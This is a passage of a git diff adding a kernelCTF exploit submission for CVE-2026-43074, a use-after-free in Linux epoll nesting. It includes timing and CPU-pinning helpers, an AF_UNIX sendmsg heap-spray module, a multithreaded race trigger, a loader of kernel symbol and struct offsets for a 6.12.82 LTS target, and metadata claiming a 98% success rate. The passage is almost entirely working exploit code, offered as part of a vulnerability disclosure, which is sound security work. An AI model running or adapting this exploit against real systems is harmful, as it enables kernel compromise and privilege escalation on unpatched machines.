+ + int count = 0; +}; + +const CpuRuntime& cpu_runtime() { + static const CpuRuntime runtime{}; + return runtime; +} + +} // namespace + +int online_cpu_count(void) { + return cpu_runtime().count; +} + +uint64_t MonotonicClock::now_ns() { + struct timespec ts; + + FATAL_IF_NEG(clock_gettime(CLOCK_MONOTONIC, &ts), "clock_gettime(CLOCK_MONOTONIC)"); + return ts.tv_sec * 1000000000ul + ts.tv_nsec; +} + +MillisecondSplit MonotonicClock::split_ms(uint64_t duration_ns) { + return { + .whole = duration_ns / 1000000ull, + .fraction = (duration_ns / 1000ull) % 1000ull, + }; +} + +void MonotonicClock::busy_wait_ns(int64_t duration_ns) { + if (duration_ns <= 0) { + return; + } + + // Keep this as a pinned CPU spin only for short race windows where scheduler + // latency would dominate the timing we are trying to control. + const uint64_t start_ns = now_ns(); + const uint64_t wait_ns = duration_ns; + + while (now_ns() - start_ns < wait_ns) { + } +} + +Stopwatch::Stopwatch() { + reset(); +} + +void Stopwatch::reset() { + start_ns_ = MonotonicClock::now_ns(); +} + +uint64_t Stopwatch::elapsed_ns() const { + return MonotonicClock::now_ns() - start_ns_; +} + +void fatal(const char* message) { + perror(message); + exit(1); +} + +void die(const char* message) { + fprintf(stderr, "%s\n", message); + exit(1); +} + +int pin_thread_to_cpu(int cpu) { + cpu_set_t set; + int cpu_count = online_cpu_count(); + + CPU_ZERO(&set); + CPU_SET(cpu % cpu_count, &set); + return pthread_setaffinity_np(pthread_self(), sizeof(set), &set); +} diff --git a/pocs/linux/kernelctf/CVE-2026-43074_lts/exploit/lts-6.12.82/modules/shared_core.h b/pocs/linux/kernelctf/CVE-2026-43074_lts/exploit/lts-6.12.82/modules/shared_core.h new file mode 100644 index 000000000..ebd855292 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-43074_lts/exploit/lts-6.12.82/modules/shared_core.h @@ -0,0 +1,53 @@ +#ifndef EXPLOIT_SHARED_CORE_H +#define EXPLOIT_SHARED_CORE_H + +#include + +void fatal(const char* message); +void die(const char* message); +int online_cpu_count(void); +int pin_thread_to_cpu(int cpu); + +struct MillisecondSplit { + uint64_t whole = 0; + uint64_t fraction = 0; +}; + +class MonotonicClock { + public: + static uint64_t now_ns(); + static MillisecondSplit split_ms(uint64_t duration_ns); + static void busy_wait_ns(int64_t duration_ns); +}; + +class Stopwatch { + public: + Stopwatch(); + + void reset(); + uint64_t elapsed_ns() const; + + private: + uint64_t start_ns_ = 0; +}; + +#define FATAL_CHECK(expr, condition, what) \ + ({ \ + auto _fatal_value = (expr); \ + if ((condition)) { \ + fatal(what); \ + } \ + _fatal_value; \ + }) + +#define FATAL_IF(expr, what) FATAL_CHECK(expr, _fatal_value, what) + +#define FATAL_IF_NEG(expr, what) FATAL_CHECK(expr, _fatal_value < 0, what) + +#define FATAL_IF_NONZERO(expr, what) FATAL_CHECK(expr, _fatal_value != 0, what) + +#define FATAL_IF_EQ(expr, expected, what) FATAL_CHECK(expr, _fatal_value == (expected), what) + +#define FATAL_IF_NE(expr, expected, what) FATAL_CHECK(expr, _fatal_value != (expected), what) + +#endif diff --git a/pocs/linux/kernelctf/CVE-2026-43074_lts/exploit/lts-6.12.82/modules/unmovable_nperm_api.cpp b/pocs/linux/kernelctf/CVE-2026-43074_lts/exploit/lts-6.12.82/modules/unmovable_nperm_api.cpp new file mode 100644 index 000000000..51c7ba9c6 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-43074_lts/exploit/lts-6.12.82/modules/unmovable_nperm_api.cpp @@ -0,0 +1,296 @@ +#ifndef _GNU_SOURCE +#define _GNU_SOURCE +#endif + +#include "unmovable_nperm_api.h" +#include "shared_core.h" + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define NPERM_CPUS 2 +#define NPERM_PAIRS 512 +#define NPERM_SOCKET_BUF (2 * 1024 * 1024) +#define NPERM_SENDMSG_SIZE (16 * 1024) +#define NPERM_TARGET_BYTES (2048ULL * 1024 * 1024) + +struct nperm_ctx { + int (*sv)[2]; + size_t pair_count; +}; + +struct spray_worker { + int cpu; + const unsigned char* page; + ssize_t sent; + int err; + pthread_barrier_t* bar; + struct nperm_ctx* ctx; +}; + +struct release_worker { + int cpu; + int err; + struct nperm_ctx* ctx; +}; + +static struct nperm_ctx g_ctxs[NPERM_CPUS]; +static bool g_live; + +static int raise_nofile(void) { + struct rlimit rl; + rlim_t need = NPERM_CPUS * NPERM_PAIRS * 2 + 64; + + if (getrlimit(RLIMIT_NOFILE, &rl) != 0) + return -1; + if (rl.rlim_cur >= need) + return 0; + if (rl.rlim_max < need) { + errno = EMFILE; + return -1; + } + rl.rlim_cur = need; + return setrlimit(RLIMIT_NOFILE, &rl); +} + +static void ctx_free(struct nperm_ctx* ctx) { + size_t i; + + if (!ctx->sv) + return; + for (i = 0; i < ctx->pair_count; i++) { + if (ctx->sv[i][0] >= 0) + close(ctx->sv[i][0]); + if (ctx->sv[i][1] >= 0) + close(ctx->sv[i][1]); + } + free(ctx->sv); + ctx->sv = NULL; + ctx->pair_count = 0; +} + +static int ctx_prepare(struct nperm_ctx* ctx) { + int i, v = NPERM_SOCKET_BUF, fl; + + ctx->sv = static_cast(calloc(NPERM_PAIRS, sizeof(*ctx->sv))); + if (!ctx->sv) + return -1; + ctx->pair_count = NPERM_PAIRS; + for (i = 0; i < NPERM_PAIRS; i++) { + if (socketpair(AF_UNIX, SOCK_DGRAM, 0, ctx->sv[i]) != 0) + return -1; + if (setsockopt(ctx->sv[i][0], SOL_SOCKET, SO_SNDBUF, &v, sizeof(v)) != 0) + return -1; + if (setsockopt(ctx->sv[i][1], SOL_SOCKET, SO_RCVBUF, &v, sizeof(v)) != 0) + return -1; + fl = fcntl(ctx->sv[i][0], F_GETFL, 0); + if (fl < 0 || fcntl(ctx->sv[i][0], F_SETFL, fl | O_NONBLOCK) != 0) + return -1; + fl = fcntl(ctx->sv[i][1], F_GETFL, 0); + if (fl < 0 || fcntl(ctx->sv[i][1], F_SETFL, fl | O_NONBLOCK) != 0) + return -1; + } + return 0; +} + +static ssize_t ctx_spray(struct nperm_ctx* ctx, const unsigned char page[NPERM_PAGE_SIZE]) { + unsigned char* msg; + struct iovec iov; + struct msghdr hdr; + ssize_t total = 0; + int stalled = 0; + bool progress = true; + size_t i; + + msg = static_cast(malloc(NPERM_SENDMSG_SIZE)); + if (!msg) + return -1; + for (i = 0; i < NPERM_SENDMSG_SIZE; i++) + msg[i] = page[i % NPERM_PAGE_SIZE]; + + memset(&hdr, 0, sizeof(hdr)); + iov.iov_base = msg; + iov.iov_len = NPERM_SENDMSG_SIZE; + hdr.msg_iov = &iov; + hdr.msg_iovlen = 1; + + while ((size_t)total < NPERM_TARGET_BYTES && progress) { + progress = false; + for (i = 0; i < ctx->pair_count; i++) { + ssize_t n = sendmsg(ctx->sv[i][0], &hdr, MSG_DONTWAIT | MSG_NOSIGNAL); + + if (n > 0) { + total += n; + progress = true; + if ((size_t)total >= NPERM_TARGET_BYTES) + break; + continue; + } + if (n < 0 && errno != EAGAIN && errno != EWOULDBLOCK && errno != ENOBUFS && + errno != EMSGSIZE) { + free(msg); + return -1; + } + } + stalled = progress ? 0 : stalled + 1; + if (stalled > 2) + break; + } + + free(msg); + return total; +} + +static void ctx_drain(struct nperm_ctx* ctx) { + char drain_buffer[64 * 1024]; + size_t i; + + for (i = 0; i < ctx->pair_count; i++) { + for (;;) { + ssize_t bytes_received = + recv(ctx->sv[i][1], drain_buffer, sizeof(drain_buffer), MSG_DONTWAIT); + + if (bytes_received > 0) + continue; + if (bytes_received == 0 || errno == EAGAIN || errno == EWOULDBLOCK) + break; + break; + } + } +} + +static void* spray_thread_main(void* arg) { + struct spray_worker* w = static_cast(arg); + int ret; + + if (pin_thread_to_cpu(w->cpu) != 0) { + w->err = errno ? errno : EIO; + return NULL; + } + if (ctx_prepare(w->ctx) != 0) { + w->err = errno ? errno : EIO; + return NULL; + } + ret = pthread_barrier_wait(w->bar); + if (ret != 0 && ret != PTHREAD_BARRIER_SERIAL_THREAD) { + w->err = ret; + return NULL; + } + w->sent = ctx_spray(w->ctx, w->page); + if (w->sent < 0) + w->err = errno ? errno : EIO; + return NULL; +} + +static void* release_thread_main(void* arg) { + struct release_worker* w = static_cast(arg); + + if (pin_thread_to_cpu(w->cpu) != 0) { + w->err = errno ? errno : EIO; + return NULL; + } + ctx_drain(w->ctx); + ctx_free(w->ctx); + return NULL; +} + +static ssize_t spray_phase(const unsigned char page[NPERM_PAGE_SIZE]) { + pthread_t th[NPERM_CPUS]; + pthread_barrier_t bar; + struct spray_worker w[NPERM_CPUS]; + ssize_t total = 0; + int i, ret; + + if (!page) { + errno = EINVAL; + return -1; + } + if (raise_nofile() != 0) + return -1; + if (pthread_barrier_init(&bar, NULL, NPERM_CPUS) != 0) { + errno = EIO; + return -1; + } + + memset(w, 0, sizeof(w)); + for (i = 0; i < NPERM_CPUS; i++) { + w[i].cpu = i; + w[i].page = (const unsigned char*)page; + w[i].bar = &bar; + w[i].ctx = &g_ctxs[i]; + ret = pthread_create(&th[i], NULL, spray_thread_main, &w[i]); + if (ret != 0) { + pthread_barrier_destroy(&bar); + errno = ret; + return -1; + } + } + + for (i = 0; i < NPERM_CPUS; i++) { + ret = pthread_join(th[i], NULL); + if (ret != 0) { + pthread_barrier_destroy(&bar); + errno = ret; + return -1; + } + if (w[i].err) { + pthread_barrier_destroy(&bar); + errno = w[i].err; + return -1; + } + total += w[i].sent; + } + pthread_barrier_destroy(&bar); + g_live = true; + return total; +} + +static void release_phase(void) { + pthread_t th[NPERM_CPUS]; + struct release_worker w[NPERM_CPUS]; + bool created[NPERM_CPUS]; + int i; + + if (!g_live) + return; + + memset(w, 0, sizeof(w)); + memset(created, 0, sizeof(created)); + for (i = 0; i < NPERM_CPUS; i++) { + w[i].cpu = i; + w[i].ctx = &g_ctxs[i]; + if (pthread_create(&th[i], NULL, release_thread_main, &w[i]) != 0) { + ctx_drain(&g_ctxs[i]); + ctx_free(&g_ctxs[i]); + continue; + } + created[i] = true; + } + for (i = 0; i < NPERM_CPUS; i++) + if (created[i]) + pthread_join(th[i], NULL); + g_live = false; +} + +ssize_t nperm_unmovable_spray_first(const unsigned char page[NPERM_PAGE_SIZE]) { + release_phase(); + return spray_phase(page); +} + +ssize_t nperm_unmovable_spray_second(const unsigned char page[NPERM_PAGE_SIZE]) { + release_phase(); + return spray_phase(page); +} + +void nperm_unmovable_spray_reset(void) { + release_phase(); +} diff --git a/pocs/linux/kernelctf/CVE-2026-43074_lts/exploit/lts-6.12.82/modules/unmovable_nperm_api.h b/pocs/linux/kernelctf/CVE-2026-43074_lts/exploit/lts-6.12.82/modules/unmovable_nperm_api.h new file mode 100644 index 000000000..4c8831c24 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-43074_lts/exploit/lts-6.12.82/modules/unmovable_nperm_api.h @@ -0,0 +1,55 @@ +#ifndef UNMOVABLE_NPERM_API_H +#define UNMOVABLE_NPERM_API_H + +#include + +#define NPERM_PAGE_SIZE 4096 + +/* + * Two-stage spray API for holding unmovable objects via sendmsg. + * + * Each call takes one 4096-byte user page, repeats that page into fixed-size + * sendmsg messages, and sprays them through AF_UNIX / SOCK_DGRAM sockets on two + * CPUs. + * + * Lifetime: + * 1. nperm_unmovable_spray_first(page1) + * - performs the first spray round + * - the sprayed objects remain live after the call returns + * - the caller can immediately inspect the state, read back data, or continue + * with the next exploit stage + * + * 2. nperm_unmovable_spray_second(page2) + * - releases the first round that is still being held + * - performs the second spray round + * - the second-round objects also remain live after the call returns + * + * 3. nperm_unmovable_spray_reset() + * - releases whichever spray round is currently being held + * - call this when the caller no longer needs the spray or wants to stop early + * + * Additional notes: + * - If the process exits directly, the kernel naturally reclaims these socket + * objects. `reset()` is not mandatory for correctness; it is just the explicit + * cleanup path. + * - The caller does not need to pass state between `first` and `second`; the API + * keeps track of which round is currently live. + * - This interface is not thread-safe and is intended for single-threaded control + * flow. + * + * Return value: + * - on success: the total number of bytes sprayed in that round + * - on failure: -1 + * + * Fixed parameters: + * - 2 CPU + * - 512 socket pairs per CPU + * - 2 MiB socket buffer request per socket + * - 16 KiB per sendmsg payload + * - 512 MiB total spray target per round + */ +ssize_t nperm_unmovable_spray_first(const unsigned char page[NPERM_PAGE_SIZE]); +ssize_t nperm_unmovable_spray_second(const unsigned char page[NPERM_PAGE_SIZE]); +void nperm_unmovable_spray_reset(void); + +#endif diff --git a/pocs/linux/kernelctf/CVE-2026-43074_lts/exploit/lts-6.12.82/modules/vuln_trigger.cpp b/pocs/linux/kernelctf/CVE-2026-43074_lts/exploit/lts-6.12.82/modules/vuln_trigger.cpp new file mode 100644 index 000000000..e46ed768f --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-43074_lts/exploit/lts-6.12.82/modules/vuln_trigger.cpp @@ -0,0 +1,177 @@ +#include "module_context.h" + +#include + +namespace { + +constexpr int kRuntimeSec = 30; +constexpr int kParentThreads = 2; +constexpr int kAdderThreads = 4; + +std::atomic_bool g_stop{false}; +std::atomic_ullong g_parent_cycles{0}; +std::atomic_ullong g_add_attempts{0}; +std::atomic_ullong g_add_successes{0}; +std::atomic_ullong g_del_successes{0}; +std::atomic_ullong g_add_eexist{0}; +std::atomic_ullong g_add_errors{0}; + +int g_cpu_count = 1; +int g_shared_ep = -1; + +[[noreturn]] void fatal(const char* msg) { + perror(msg); + exit(1); +} + +void pin_to_cpu(int cpu) { + cpu_set_t set; + + CPU_ZERO(&set); + CPU_SET(cpu % g_cpu_count, &set); + (void)pthread_setaffinity_np(pthread_self(), sizeof(set), &set); +} + +int make_leaf_epoll(unsigned tag) { + struct epoll_event event = {}; + int leaf_ep = epoll_create1(EPOLL_CLOEXEC); + int event_fd = -1; + + if (leaf_ep < 0) { + fatal("epoll_create1(leaf)"); + } + + event_fd = eventfd(0, EFD_CLOEXEC | EFD_NONBLOCK); + if (event_fd < 0) { + fatal("eventfd(leaf)"); + } + + event.events = EPOLLIN; + event.data.u64 = 0x10000000u | tag; + if (epoll_ctl(leaf_ep, EPOLL_CTL_ADD, event_fd, &event) < 0) { + fatal("epoll_ctl(leaf,eventfd)"); + } + + close(event_fd); + return leaf_ep; +} + +void* parent_thread(void* arg) { + intptr_t tid = reinterpret_cast(arg); + struct epoll_event event = {}; + + pin_to_cpu(static_cast(tid)); + event.events = EPOLLIN; + event.data.u64 = 0x20000000u | static_cast(tid); + + while (!g_stop.load(std::memory_order_relaxed)) { + int parent_ep = epoll_create1(EPOLL_CLOEXEC); + + if (parent_ep < 0) { + fatal("epoll_create1(parent)"); + } + + if (epoll_ctl(parent_ep, EPOLL_CTL_ADD, g_shared_ep, &event) < 0) { + fatal("epoll_ctl(parent,shared)"); + } + + close(parent_ep); + g_parent_cycles.fetch_add(1, std::memory_order_relaxed); + } + + return nullptr; +} + +void* adder_thread(void* arg) { + intptr_t tid = reinterpret_cast(arg); + struct epoll_event event = {}; + int leaf_ep = -1; + + pin_to_cpu(kParentThreads + static_cast(tid)); + leaf_ep = make_leaf_epoll(static_cast(tid) + 1); + + event.events = EPOLLIN; + event.data.u64 = 0x30000000u | static_cast(tid); + + while (!g_stop.load(std::memory_order_relaxed)) { + int rc = epoll_ctl(g_shared_ep, EPOLL_CTL_ADD, leaf_ep, &event); + + g_add_attempts.fetch_add(1, std::memory_order_relaxed); + if (rc == 0) { + g_add_successes.fetch_add(1, std::memory_order_relaxed); + if (epoll_ctl(g_shared_ep, EPOLL_CTL_DEL, leaf_ep, nullptr) == 0) { + g_del_successes.fetch_add(1, std::memory_order_relaxed); + } + } else if (errno == EEXIST) { + g_add_eexist.fetch_add(1, std::memory_order_relaxed); + (void)epoll_ctl(g_shared_ep, EPOLL_CTL_DEL, leaf_ep, nullptr); + } else { + g_add_errors.fetch_add(1, std::memory_order_relaxed); + } + } + + close(leaf_ep); + return nullptr; +} + +} // namespace + +int run_vuln_trigger_mode() { + pthread_t parents[kParentThreads] = {}; + pthread_t adders[kAdderThreads] = {}; + time_t start = 0; + + g_cpu_count = static_cast(sysconf(_SC_NPROCESSORS_ONLN)); + if (g_cpu_count <= 0) { + g_cpu_count = 1; + } + + g_shared_ep = epoll_create1(EPOLL_CLOEXEC); + if (g_shared_ep < 0) { + fatal("epoll_create1(shared)"); + } + + fprintf(stderr, + "[vuln-trigger] runtime=%d parent_threads=%d add_threads=%d cpus=%d\n", + kRuntimeSec, kParentThreads, kAdderThreads, g_cpu_count); + + for (int i = 0; i < kParentThreads; ++i) { + if (pthread_create(&parents[i], nullptr, parent_thread, + reinterpret_cast(static_cast(i))) != 0) { + fatal("pthread_create(parent)"); + } + } + + for (int i = 0; i < kAdderThreads; ++i) { + if (pthread_create(&adders[i], nullptr, adder_thread, + reinterpret_cast(static_cast(i))) != 0) { + fatal("pthread_create(adder)"); + } + } + + start = time(nullptr); + while (time(nullptr) - start < kRuntimeSec) { + sleep(1); + fprintf(stderr, + "[vuln-trigger] secs=%lld parent_cycles=%llu add_attempts=%llu add_ok=%llu " + "del_ok=%llu eexist=%llu add_err=%llu\n", + static_cast(time(nullptr) - start), + static_cast(g_parent_cycles.load(std::memory_order_relaxed)), + static_cast(g_add_attempts.load(std::memory_order_relaxed)), + static_cast(g_add_successes.load(std::memory_order_relaxed)), + static_cast(g_del_successes.load(std::memory_order_relaxed)), + static_cast(g_add_eexist.load(std::memory_order_relaxed)), + static_cast(g_add_errors.load(std::memory_order_relaxed))); + } + + g_stop.store(true, std::memory_order_relaxed); + for (int i = 0; i < kParentThreads; ++i) { + pthread_join(parents[i], nullptr); + } + for (int i = 0; i < kAdderThreads; ++i) { + pthread_join(adders[i], nullptr); + } + + close(g_shared_ep); + return 0; +} diff --git a/pocs/linux/kernelctf/CVE-2026-43074_lts/exploit/lts-6.12.82/modules/xdk_layout.cpp b/pocs/linux/kernelctf/CVE-2026-43074_lts/exploit/lts-6.12.82/modules/xdk_layout.cpp new file mode 100644 index 000000000..fd8d155f7 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-43074_lts/exploit/lts-6.12.82/modules/xdk_layout.cpp @@ -0,0 +1,76 @@ +#include +#include + +#include +#include + +#include "module_context.h" + +INCBIN(target_db, "target_db.kxdb"); + +namespace { + +uint64_t image_offset(uint64_t absolute_address) { + return absolute_address - DEFAULT_KERNEL_TEXT_BASE; +} + +void add_exploit_target_entries(TargetDb& kxdb) { + Target target( + "kernelctf", "lts-6.12.82", + "Linux version 6.12.82 (runner@runnervmeorf1) (gcc (Ubuntu 13.3.0-6ubuntu2~24.04.1) " + "13.3.0, GNU ld (GNU Binutils for Ubuntu) 2.42) #1 SMP Sun Apr 19 12:29:38 UTC 2026"); + + target.AddSymbol("panic_on_oops", image_offset(DEFAULT_PANIC_ON_OOPS)); + target.AddSymbol("epnested_mutex", image_offset(DEFAULT_EPNESTED_BASE)); + target.AddSymbol("types__syslog", image_offset(DEFAULT_TYPES_SYSLOG)); + target.AddSymbol("console_mutex", image_offset(DEFAULT_CONSOLE_MUTEX)); + target.AddSymbol("console_owner", image_offset(DEFAULT_CONSOLE_OWNER)); + target.AddSymbol("core_pipe_limit", image_offset(DEFAULT_CORE_PIPE_LIMIT)); + + target.AddStruct("eventpoll", 192, + {{"refs.first", DEFAULT_EVENTPOLL_REFS_OFFSET, sizeof(uintptr_t)}}); + target.AddStruct("epitem", 120, + {{"fllink.next", DEFAULT_EPITEM_FLLINK_OFFSET, sizeof(uintptr_t)}}); + + kxdb.AddTarget(target); +} + +} // namespace + +void ExploitLayout::load_from_xdk() { + try { + TargetDb kxdb("target_db.kxdb", target_db); + add_exploit_target_entries(kxdb); + auto target = kxdb.AutoDetectTarget(); + + fprintf(stderr, "[xdk] detected target: %s %s\n", target.GetDistro().c_str(), + target.GetReleaseName().c_str()); + + panic_on_oops = target.GetSymbolOffset("panic_on_oops") + DEFAULT_KERNEL_TEXT_BASE; + epnested_mutex = target.GetSymbolOffset("epnested_mutex") + DEFAULT_KERNEL_TEXT_BASE; + types_syslog = target.GetSymbolOffset("types__syslog") + DEFAULT_KERNEL_TEXT_BASE; + console_mutex = target.GetSymbolOffset("console_mutex") + DEFAULT_KERNEL_TEXT_BASE; + console_owner = target.GetSymbolOffset("console_owner") + DEFAULT_KERNEL_TEXT_BASE; + core_pipe_limit = target.GetSymbolOffset("core_pipe_limit") + DEFAULT_KERNEL_TEXT_BASE; + + eventpoll_refs_offset = target.GetFieldOffset("eventpoll", "refs.first"); + epitem_fllink_offset = target.GetFieldOffset("epitem", "fllink.next"); + + // print all loaded offsets for verification + fprintf(stderr, "[xdk] loaded offsets:\n"); + fprintf(stderr, " panic_on_oops: 0x%lx\n", panic_on_oops); + fprintf(stderr, " epnested_mutex: 0x%lx\n", epnested_mutex); + fprintf(stderr, " types__syslog: 0x%lx\n", types_syslog); + fprintf(stderr, " console_mutex: 0x%lx\n", console_mutex); + fprintf(stderr, " console_owner: 0x%lx\n", console_owner); + fprintf(stderr, " core_pipe_limit: 0x%lx\n", core_pipe_limit); + fprintf(stderr, " eventpoll_refs_offset: 0x%lx\n", eventpoll_refs_offset); + fprintf(stderr, " epitem_fllink_offset: 0x%lx\n", epitem_fllink_offset); + + fprintf(stderr, "[xdk] successfully loaded exploit layout from XDK target database\n"); + } catch (const std::exception& e) { + fprintf(stderr, "[xdk] failed to load exploit layout from XDK target database: %s\n", + e.what()); + exit(1); + } +} \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2026-43074_lts/exploit/lts-6.12.82/target_db.kxdb b/pocs/linux/kernelctf/CVE-2026-43074_lts/exploit/lts-6.12.82/target_db.kxdb new file mode 100644 index 000000000..b47d2547a Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2026-43074_lts/exploit/lts-6.12.82/target_db.kxdb differ diff --git a/pocs/linux/kernelctf/CVE-2026-43074_lts/metadata.json b/pocs/linux/kernelctf/CVE-2026-43074_lts/metadata.json new file mode 100644 index 000000000..48a55efb8 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-43074_lts/metadata.json @@ -0,0 +1,36 @@ +{ + "$schema":"https://google.github.io/security-research/kernelctf/metadata.schema.v3.json", + "submission_ids":[ + "exp510" + ], + "vulnerability":{ + "summary": "UAF in ep_get_upwards_depth_proc() when closing an ancestor epoll fd races with adding a nested epoll fd.", + "patch_commit": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=5b1173b16542", + "cve":"CVE-2026-43074", + "affected_versions":[ + "6.4-rc1 - 7.0-rc7", + "6.6.0 - 6.6.135", + "6.12.0 - 6.12.82", + "6.18.0 - 6.18.23", + "6.19.0 - 6.19.13" + ], + "requirements":{ + "attack_surface":[ + ], + "capabilities":[ + + ], + "kernel_config":[ + "CONFIG_EPOLL" + ] + } + }, + "exploits": { + "lts-6.12.82": { + "uses": [], + "requires_separate_kaslr_leak": false, + "stability_notes":"98% success rate" + } + + } +} \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2026-43074_lts/original.tar.gz b/pocs/linux/kernelctf/CVE-2026-43074_lts/original.tar.gz new file mode 100644 index 000000000..1929e41cf Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2026-43074_lts/original.tar.gz differ